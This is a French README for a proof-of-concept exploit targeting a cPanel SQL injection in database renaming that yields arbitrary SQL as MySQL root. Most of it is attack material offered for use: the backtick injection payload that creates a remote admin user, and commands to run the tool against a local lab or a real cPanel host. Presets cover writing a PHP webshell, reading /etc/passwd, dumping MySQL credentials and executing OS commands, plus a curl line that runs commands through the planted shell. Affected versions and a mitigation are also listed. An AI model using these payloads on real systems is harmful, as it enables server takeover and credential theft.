
Projet de recherche en sécurité
CVSS 4.0 : 9.4 (Critique) | CWE-89 : Injection SQL | NVD
Utilisateur cPanel authentifié → SQL arbitraire en tant que root MySQL via le renommage de base de données.
cPanel conserve incorrectement le sql_mode (ANSI_QUOTES) de la session de l'utilisateur lors de
l'exécution d'opérations de renommage en tant que root — un backtick dans le nom de la base de données
s'échappe de l'identifiant et injecte du SQL.
name: db`; GRANT ALL ON *.* TO 'rce'@'%' IDENTIFIED BY 'pwned!'; --
pip install -r requirements.txt
python3 simulate.py start # start lab (MariaDB:13306, cPanel API:18080, Apache:18081)
python3 poc.py -t http://localhost:18080 --mysql-port 13306 --payload admin-user --verify
python3 simulate.py stop
Le mode lab est détecté automatiquement — aucun flag --lab n'est nécessaire.
python3 poc.py -t https://cpanel.example.com:2083 -u user -p 'pass' \
--payload admin-user --verify
SQL personnalisé : --inject "GRANT ALL ON *.* TO 'x'@'%' IDENTIFIED BY 'y'"
# 1. Write shell to web root
python3 poc.py -t http://localhost:18080 --mysql-port 13306 \
--payload webshell --shell /var/www/html/shell.php
# 2. Execute commands via HTTP!
curl "http://localhost:18081/shell.php?0=id"
cPanel < 11.110.0.137, 11.118.0.71, 11.126.0.78, 11.134.0.48, 11.136.0.32 ; WP Squared < 11.138.1.6
Atténuation : mettez à niveau, ou révoquez la fonctionnalité MySQL aux utilisateurs cPanel.
Pour les tests de sécurité autorisés et à des fins éducatives uniquement.
| Preset | Effet |
|---|
admin-user (par défaut) | Crée l'utilisateur admin MySQL rce |
compact-admin | Payload admin court (<64 caractères — respecte la limite de nom du cPanel réel ; vérification : r/p) |
webshell | Écrit un shell PHP via INTO OUTFILE (--shell /var/www/html/shell.php) |
read-file | Lit un fichier serveur via LOAD_FILE (--file /etc/passwd) |
dump-users | Dump tous les identifiants MySQL vers pwn.users |
udf-rce | Exécution de commandes OS via UDF |